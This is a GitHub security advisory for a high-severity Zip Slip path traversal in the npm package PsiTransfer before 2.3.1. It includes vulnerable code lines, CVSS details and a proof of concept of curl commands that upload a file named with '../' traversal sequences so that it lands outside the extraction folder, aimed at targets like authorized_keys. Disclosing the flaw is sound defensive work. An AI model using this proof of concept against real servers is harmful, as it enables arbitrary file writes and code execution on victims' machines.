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PsiTransfer has Zip Slip Path Traversal via TAR Archive Download

High severity GitHub Reviewed Published Dec 29, 2025 in psi-4ward/psitransfer • Updated Dec 30, 2025

Package

psitransfer (npm)

Affected versions

< 2.3.1

Patched versions

2.3.1

Description

Summary

A Zip Slip vulnerability in PsiTransfer allows an unauthenticated attacker to upload files with path traversal sequences in the filename (e.g. ../../../.ssh/authorized_keys). When a victim downloads the bucket as a .tar.gz archive and extracts it, malicious files are written outside the intended directory, potentially leading to RCE.

Details

The vulnerability exists in the archive download functionality in lib/endpoints.js where user controlled metadata.name is used directly without sanitization when creating TAR archive entries.

lib/endpoints.js:275

const entry = pack.entry({ name: info.metadata.name, size: info.size });
lib/endpoints.js:372
assert(meta.name, 'tus meta prop missing: name');

PoC

I. Upload file with malicious filename (no authentication required).

MALICIOUS_NAME=$(echo -n "../../../tmp/dp.txt" | base64)
SID=$(echo -n "evil" | base64)
RETENTION=$(echo -n "3600" | base64)

curl -X POST http://TARGET:3000/files \
  -H "Tus-Resumable: 1.0.0" \
  -H "Upload-Length: 15" \
  -H "Upload-Metadata: name ${MALICIOUS_NAME},sid ${SID},retention ${RETENTION}"

II. Complete upload with PATCH

curl -X PATCH "http://TARGET:3000/files/evil++<UUID>" \
  -H "Tus-Resumable: 1.0.0" \
  -H "Upload-Offset: 0" \
  -H "Content-Type: application/offset+octet-stream" \
  -d "MALICIOUS_CONTENT"

III. Victim downloads and extracts TAR

curl "http://TARGET:3000/files/evil++<HASH>.tar.gz" -o files.tar.gz
tar -tzf files.tar.gz

Impact

Arbitrary File Write: Attacker can write files anywhere on victim's filesystem when they extract the archive.
RCE: By targeting ~/.bashrc, ~/.ssh/authorized_keys, cron directories etc...
No Authentication Required: Default configuration has uploadPass: false.
Social Engineering Vector: Attacker sends malicious download link to victim.

References

@psi-4ward psi-4ward published to psi-4ward/psitransfer Dec 29, 2025
Published to the GitHub Advisory Database Dec 30, 2025
Reviewed Dec 30, 2025
Last updated Dec 30, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

EPSS score

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Relative Path Traversal

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as .. that can resolve to a location that is outside of that directory. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-xphh-5v4r-r3rx

Source code

Credits

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